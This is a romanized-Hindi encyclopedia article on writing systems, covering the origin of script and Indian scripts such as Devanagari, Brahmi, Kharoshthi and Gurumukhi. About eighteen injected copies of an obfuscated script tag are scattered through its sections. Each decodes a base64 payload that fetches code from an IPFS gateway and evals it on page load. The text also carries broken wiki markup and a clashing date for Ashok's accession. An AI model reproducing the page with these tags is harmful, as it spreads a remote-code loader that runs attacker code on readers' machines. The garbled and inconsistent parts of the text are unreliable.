लिपि

[[chitr:Devnagari.jpg|thumb|250px|devanagari lipi]] lipi ka shabdik arth hota hai -likhit ya chitrit karana. dhvaniyoan ko likhane ke lie jin chihnoan ka prayog kiya jata hai, vahi lipi kahalati hai. hindi ki lipi devanagari hai. hindi ke alava -sanskrit ,marathi, koankani, nepali adi bhashaean bhi devanagari mean likhi jati hai.

itihas

manav ke mahan avishkaroan mean lipi ka sthan sarvopari hai. manav samaj jab tamrayug mean pahuanchata hai, prachin jagat ki nadighati sabhyataoan mean jab nagaroan ki sthapana hone lagati hai, tab ham pahali bar lipiyoan ko janm lete dekhate haian. misr, mesopatamiya aur chin ki aranbhik lipiyaan mukhyat: bhav-chitratmak thian. siandhu sabhyata ki lipi kis svaroop ki hai, yah abhi tak jana nahian gaya hai. eesa poorv dasavian sadi ke asapas pahali bar varnamalatmak lipiyaan janm leti haian. tab se aj tak lipiyoan ka vishesh vikas nahian hua. bahut si puralipiyaan mar gee haian, unaka jnan lupt ho gaya tha. pichhale qarib do sau varshoan mean sansar ke anek puralipividoan ne pun: un puralipiyoan ka udghatan kiya hai. parinam svaroop hamean prachin sabhyataoan ke bare mean nee nee janakari mili hai.

lipi ka avishkar

sabhy manav ka sabase b da avishkar hai lekhan-kala. aj ham apane chahuanor itani adhik likhit samagri dekhate haian ki yah sochana bhool hi jate haian ki pahale-pahal adami ne likhana kaise aranbh kiya hoga aur lekhan ka vikas kaise hua hoga. manav ke vikas mean, arthat manav-sabhyata ke vikas mean, vani ke bad lekhan ka hi sabase adhik mahatv hai. any pashuoan se adami ko isilie shreshth mana jata hai ki vah vani dvara apane manobhavoan ko vyakt kar sakata hai. kiantu manav ka bahumukhi vikas is vani ko lipibaddh karane ki kala ke karan hi hua. muanh se bole ge shabd ya hav-bhavoan se vyakt kie ge vichar chirasthayi nahian rahate. do ya adhik vyaktiyoan ke bich mean huee batachit keval unhian vyaktiyoan tak simit rahati hai. bhasha ka adhar dhvani hai. bhasha shravy ya karnagochar hoti hai. abhi unnisavian shatabdi ke aantim dashakoan tak boli gee bhasha ko sthayi roop dene ke lie use lipibaddh karane ke alava koee doosara tarika nahian tha.

chitr:Blockquote-open.gif sansar ki bahut-si luptapray sabhyataoan ke bare mean aj ham isilie bahut kuchh janate haian ki ve apane bare mean bahut-kuchh likha hua chho d gee haian. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> prachin kal ke manav ko apane vicharoan ko surakshit rakhane ke lie lipi ka avishkar karana p da tha. isalie ham kah sakate haian ki lipi aise pratik-chihnoan ka sanyojan hai jinake dvara shravy bhasha ko drishtigochar banaya jata hai. suni ya kahi huee bat keval usi samay aur usi sthan par upayogi hoti hai. kiantu lipibaddh kathan ya vichar dikh aur kal ki simaoan ko laangh sakate haian. lipi ke bare mean yahi sabase mahatvapoorn bat hai. sansar ki bahut-si luptapray sabhyataoan ke bare mean aj ham isilie bahut kuchh janate haian ki ve apane bare mean bahut-kuchh likha hua chho d gee haian.

chitr:Blockquote-open.gif misr, mesopatamiya aur chin ki aranbhik lipiyaan mukhyat: bhav-chitratmak thian. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aj sansar mean lagabhag 400 vibhinn lipiyoan ka prayog hota hai. inamean se bahutoan ka aranbh evan vikas prachin kal ki kuchh pramukh lipiyoan se hua hai. jaise, eshiya ke pashchimi tat par ee. poo. doosari sahastrabdi mean semetik (sami) bhasha-parivar ke lie ek akshar malatmak lipi astitv mean aee. 1000 ee. poo. ke asapas is lipi ne vyanjanatmak ya varnamalatmak roop dharan kiya. us samay ki is lipi ko 'uttari semetik', kanani' ya 'phinishiyan' jaise nam die ge haian. yoonani lipi spashtat: phinishiyan lipi ke adhar par hi bani thi. aur, aj yoorop, amarika aur sansar ke kee any deshoan mean jin lipiyoan ka chalan hai ve sab is yoonani lipi aur isase nirmit laitin ya roman lipi se hi vikasit huee haian. doosari or yoonani poorv ki or is uttari semetik lipi ne arameee, kharoshthi, pahalavi aur arabi jaisi lipiyoan ko janm diya.

bharat mean lipi ka itihas

chitr:Blockquote-open.gif lipi aise pratik-chihnoan ka sanyojan hai jinake dvara shravy bhasha ko drishtigochar banaya jata hai. suni ya kahi huee bat keval usi samay aur usi sthan par upayogi hoti hai. kiantu lipibaddh kathan ya vichar dikh aur kal ki simaoan ko laangh sakate haian. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bharat mean lagabhag chhathi shatabdi ee.poo. mean astitv mean aee brahmi lipi ne bhi bahut-si lipiyoan ko janm diya hai. bharat ki sari vartaman lipiyaan (arabi-pharasi lipi ko chho dakar) brahmi se hi vikasit huee haian. itana hi nahian tibbati, sianhali tatha dakshin-poorv eshiya ke deshoan ki bahut-si lipiyaan brahmi se hi janmi haian. tatpary yahi ki dharm ki tarah lipiyaan bhi deshoan aur jatiyoan ki simaoan ko laanghati chali gee. bhashaoan ki simaean laanghana to lipiyoan ke lie bahut hi saral kam raha hai. jo lipi aranbh mean ek semetik bhasha ke lie astitv mean aee thi, use bad mean bharopiy parivar ki anek bhashaoan ke lie apana liya gaya.

prachin kal se hi lekhan-kala ko pavitr mana jata raha hai. pray: sabhi prachin sabhyataoan ne apani lipiyoan ke avishkartta ke roop mean kisi n kisi devata ki kalpana ki hai. bharat mean yah manyata thi ki lipi ke nirmata brahma haian, aur shayad isilie hamare desh ki prachin lipi ka nam brahmi p da. prachin misr ke thot ko lekhan ka devata mana jata tha. bebilon mean lekhan ka devata nebo tha. prachin yahoodi paranpara ke anusar lipi ke janak paiganbar moosa the. islam ki manyata hai ki allah ne hi akshar banae aur adam ko sauanpe. kuchh yoonani anushrutiyoan mean hermes ko yoonani lipi ka janak bataya gaya hai. parantu ee.poo. chhathi shatabdi ka prasiddh itihasakar hirodotas spasht shabdoan mean likhata hai ki yoonani lipi ka nirman phinishiyan lipi ke adhar par hua.

aj ham janate haian ki lipiyaan manav ki hi kritiyaan hai; unhean eeshvar ya devata ne nahian banaya. prachin kal mean kisi puratan aur kuchh jatil vastu ko rahasyamay banae rakhane ke lie us par eeshvar ya kisi devata ki muhar laga di jati thi; kiantu aj ham janate haian ki lekhan-kala kisi 'oopar vale' ki den nahian hai, balki vah manav ki hi bauddhik kriti hai.

bharat ki pramukh lipiyaan

chitr:Blockquote-open.gif bhasha ka adhar dhvani hai. bhasha shravy ya karnagochar hoti hai. abhi unnisavian shatabdi ke aantim dashakoan tak boli gee bhasha ko sthayi roop dene ke lie use lipibaddh karane ke alava koee doosara tarika nahian tha. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

devanagari lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

isamean kul 52 akshar haian, jisamean 14 svar aur 38 vyanjan haian. aksharoan ki kram vyavastha (vinyas) bhi bahut hi vaijnanik hai. svar-vyanjan, komal-kathor, alpapran-mahapran, anunasiky-antasth-ushm ityadi vargikaran bhi vaijnanik haian. ek mat ke anusar devanagar (kashi) mean prachalan ke karan isaka nam devanagari p da. bharat tatha eshiya ki anek lipiyoan ke sanket devanagari se alag haian (urdoo ko chhodakar), par uchcharan v varn-kram adi devanagari ke hi saman haian- kyoanki vo sabhi brahmi lipi se utpann huee haian. isalie in lipiyoan ko paraspar asani se lipyantarit kiya ja sakata hai. devanagari lekhan ki drishti se saral, saundary ki drishti se sundar aur vachan ki drishti se supathy hai.

brahmi lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Brahmi Lipi-1.jpg|thumb|180px|ashok ki brahmi lipi ke akshar]] brahmi lipi ek prachin lipi hai jisase kee eshiyaee lipiyoan ka vikas hua hai. prachin brahmi lipi ke utkrisht udaharan samrat ashok (asok) dvara eesa poorv tisari shatabdi mean banavaye gaye shilalekhoan ke roop mean anek sthanoan par milate haian. naye anusandhanoan ke adhar 6 vian shatabdi eesa poorv ke lekh bhi mile hai. brahmi bhi kharoshthi ki tarah hi poore eshiya mean phaili huee thi. ashok ne apane lekhoan ki lipi ko 'dhammalipi' ka nam diya hai; usake lekhoan mean kahian bhi is lipi ke lie 'brahmi' nam nahian milata. lekin bauddhoan, jainoan tatha brahman-dharm ke granthoan ke anek ullekhoan se jnat hota hai ki is lipi ka nam 'brahmi' lipi hi raha hoga. hamare prachin sanskrit granthoan mean yah bat am taur se paee jati hai ki jis kisi bhi chiz ki utpatti kuchh adhik prachin ya ajney ho usake nirmata ke roop mean b di asani se 'brahma' ka nam le liya jata hai. sansar ki any puralipiyoan ki utpatti ke bare mean bhi yahi dekhane ko milata hai ki pray: unake janak koee n koee daivi purush hi mane ge hean. hamare yahaan bhi 'brahma' ko lipi ka janmadata mana jata raha hai, aur isilie hamare desh ki is prachin lipi ka nam brahmi p da hai.

kharoshthi lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

300px|kharoshthi lipi
ashok ke siddapur (zila chitradurg, karnatak) ke pas ke brahmagiri lekh ki aantim pankti.
isamean baeean or ke shabd haian chapadene likhite (brahmi mean) aur daeean or ka shabd hai
lipakiren (kharoshthi lipi mean), jo daeean or se baeean or padha jaega.

kharoshthi lipi gandhari lipi ke nam se jani jati hai . jo gandhari aur sanskrit bhasha ko lipivaddh prayog karane mean ati hai . isaka prayog tisari shatabdi eesa poorv se tisari shatabdi tak pramukh roop se eshiya mean hota raha hai . kushan kal mean isaka prayog bharat mean bahutayat mean hua . bauddh ullekhoan mean kharoshthi lipi prarambh se bhi prayog mean ayi . kahian-kahian satavi shatabdi mean bhi isaka prayog hua hai. ek prachin bharatiy lipi jo arabi lipi ki tarah daanye se baanye ko likhi jati thi. chauthi-tisari shatabdi ee.poo. mean bharat ke uttar-pashchimi sima praantoan mean is lipi ka prachalan tha. shesh bhagoan mean brahmi lipi ka prachalan tha jo baanye se daanye ko likhi jati thi. is lipi ke prasar ke karan kharoshthi lipi lupt ho gee is lipi mean likhe hue kuchh sikke aur ashok ke do shilalekh prapt hue haian.

sharada lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

eesa ki dasavian shatabdi se uttar-poorvi panjab aur kashmir mean sharada lipi ka vyavahar dekhane ko milata hai. byoohlar ka mat tha ki sharada lipi ki utpatti gupt lipi ki pashchimi shaili se huee hai, aur usake prachinatam lekh 8vian shatabdi se milate haian. byoohlar ne jalandhar (kaang da) ke raja jayachandr ki kiragram ke baijanath mandir mean lagi prashastiyoan ka samay 804 ee. mana tha, aur isi ke anusar inhoanne sharada lipi ka arambhakal 800 ee. ke as-pas nishchit kiya tha.

kaliang lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kaliang pradesh mean eesa ki 7vian se 12vian shatabdi tak jis lipi ka prayog hua, use kaliang lipi ka nam diya gaya hai. is lipi ka prayog adhikatar kalianganagar (mukhaliangamh, ganjam zile mean parlakimedi se 20 mil door) ke gangavanshi rajaoan ke danapatroan mean dekhane ko milata hai. in rajaoan ne ‘gaangey sanvath’ ka upayog kiya hai. yah sanvath thik kis sal se arambh hota hai, yah abhi tak jana nahian ja saka hai.

baangla lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

baangla lipi bharatavarsh ke poorvi vibhag arthath magadh ki taraph ki lipi se nikali hai aur bihar, bangal, mithila, nepal, asam tatha u disa se milane vale kitane ek shilalekh, danapatr, sikkoan ya hastalikhit pustakoan mean paee jati hai.

telugu evan kann d lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vartaman telugu aur kann d lipiyoan mean kafi samanata hai. donoan ka vikas ek hi mool lipi-shaili se hua hai. aj in lipiyoan ka prayog karnatak, andhr pradesh tatha tamilanadu ke kuchh ziloan mean hota hai. is lipi ka ady svaroop arambhik chaluky abhilekhoan mean dekhane ko milata hai. pashchimi dakkhan (dakshin) mean banavasi ke kadanboan ke lekhoan mean aur badami ke chalukyoan ke lekhoan mean is lipi ka ady roop dekhane ko milata hai. badami ke prasiddh raja pulakeshi pratham (vallabheshvar) ka ek abhilekh 1941 ee. mean mila hai. isamean shakabd 465 (543 ee.) ka prayog kiya gaya hai. alfred mastar ke anusar kann d lipi ka prachinatam abhilekh hळebidu shilalekh hai, jise ve paanchavian shatabdi ka manate haian.

granth lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tamilanadu ke aaurkat, selam, tiruchirapalli, madurai, tirunelveli tatha purane tiruvitaankur (travankor) rajy mean 7vian shatabdi se is lipi ka vyavahar hota tha. dakshin ke pandy, pallav tatha chol rajaoan ne apane abhilekhoan mean is lipi ka prayog kiya hai. dakshin bharat ki sthaniy lipiyoan ki apoornata ke karan sanskrit bhasha ke granth evan abhilekh unamean nahian likhe ja sakate the. sanskrit ke granth tatha abhilekh likhane ke lie jis lipi ka dakshin bharat mean upayog hota tha, usi ko age chalakar ‘granth lipi’ ka nam diya gaya.

tamil lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tamil bhasha ke prachinatam lekh dakshin bharat ki kuchh gufaoan mean milate haian. ye lekh ee.poo. pahali-doosari shatabdi ke mane ge haian aur inaki lipi brahmi lipi hi hai. lekin isake bad satavian sadi tak tamil lipi ke vikas ka koee sootr hamare hath nahian lagata.

vatteळuttu lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vatteळuttu lipi ka vikas, tamil lipi ki tarah, brahmi se hi hua hai. tamil lipi ko tvara se ghasit ke sath likhane ke karan 7vian shatabdi ke as-pas dakshin ke pradeshoan mean yah lipi astitv mean aee thi. pandy shasakoan ne apane abhilekhoan mean isaka upayog kiya hai.

sindhu lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Lekhan-Samagri-1.jpg|thumb|250px|siandhu sabhyata ki utkirn mudra]] sindhu ghati ki sabhyata se sanbandhit chhote-chhote sanketoan ke samooh ko sindhu lipi kahate haian. ise sindhu-sarasvati lipi aur h dappa lipi bhi kahate haian. sindhu sabhyata ka udaghatan 1920 ee. ke bad hua. yadi hamare puratattvavetta adhik sachet hote to is sabhyata ki khoj unnisavian shatabdi mean hi ho gee hoti. mesone ne 1820 mean pahali bar h dappa ke tiloan ko pahachana tha. 1865 mean briten-bandhuoan-j aaun aur viliyam ko lahaur se karachi tak ki rel lain banane ka theka mila. viliyam ne multan-lahaur lain ka nirman kiya aur is lain ki gitti ke lie h dappa ki eetoan ka aandhadhuandh istemal kiya. 'aj relaga diyaan sau mil tak aisi patariyoan par se guzarati haian, jo ee. poo. tisari sahashatabdi ki bani huee eetoan par mazabooti se tiki huee haian. eetoan ki is loot ke dauran kee prakar ke puravashesh prapt hue. inamean se adhik akarshak puravasheshoan ko majadooroan aur ianjiniyaroan ne rakh liya'.

gurumukhi lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gurumukhi lipi vah lipi hai, jisamean sikkhoan ka dharmagranth 'granth sahab' likha hua hai. guru nanak ke uttaradhikari guru aangad ne nanak ke padoan ke lie gurumukhi lipi ko svikar kiya, jo brahmi se nikali thi aur panjab mean unake samay mean prachalit thi. guruvani isamean likhi gee, isalie isaka nam 'gurumukhi' p d gaya.

h dappa lipi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

h dappa lipi ka sarvadhik purana namoona 1853 ee. mean mila tha par spashtatah yah lipi 1923 tak prakash mean aee. siandhu lipi mean lagabhag 64 mool chinh evan 205 se 400 tak akshar haian jo selakh di ki ayatakar muharoan, taanbe ki gutikaoan adi par milate haian. yah lipi chitratmak thi. yah lipi abhi tak gadhi nahian ja saki hai. is lipi mean prapt sabase b de lekh mean qarib 17 chinh haian.

brahmi lipi ashok-kal lipi

[[chitr:Inscription-Of-Ashoka-Brahmi-Script.jpg|thumb|250px|brahmi lipi mean likhe ashok ke shilalekh, rashtriy sangrahalay, dilli]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sikandar ke 325 ee.poo. mean pashchimottar bharat se hi vapas chale jane ke turant bad chandragupt (324-300 ee.poo.) ne nandavansh ka takhta ulatakar maury vansh ki sthapana ki. chandragupt ke bad usaka putr biandusar rajagaddi par baitha, aur biandusar ki mrityu ke bad usaka putr ashok 372 ee. poo. mean raja bana. jnat hota hai ki rajagaddi ke lie shuroo mean kafi jhag da hua tha; kyoanki ashok ka rajyabhishek usake gaddi par baithane ke char sal bad 268 ee. poo. mean hua. isake bad usane lagabhag 37 sal tak bharat ke ek vishal bhoo-bhag par rajy kiya. usane kaliang ko bhi apane rajy mean shamil kar liya tha. bauddh granthoan ke ullekhoan se pata chalata hai ki aranbh mean vah, apani kroorata ke karan, chandashok kahalata tha; parantu bad mean usane bauddh dharm ko svikar kiya aur vah dharmik kary karane laga to use dharmashok kaha jane laga.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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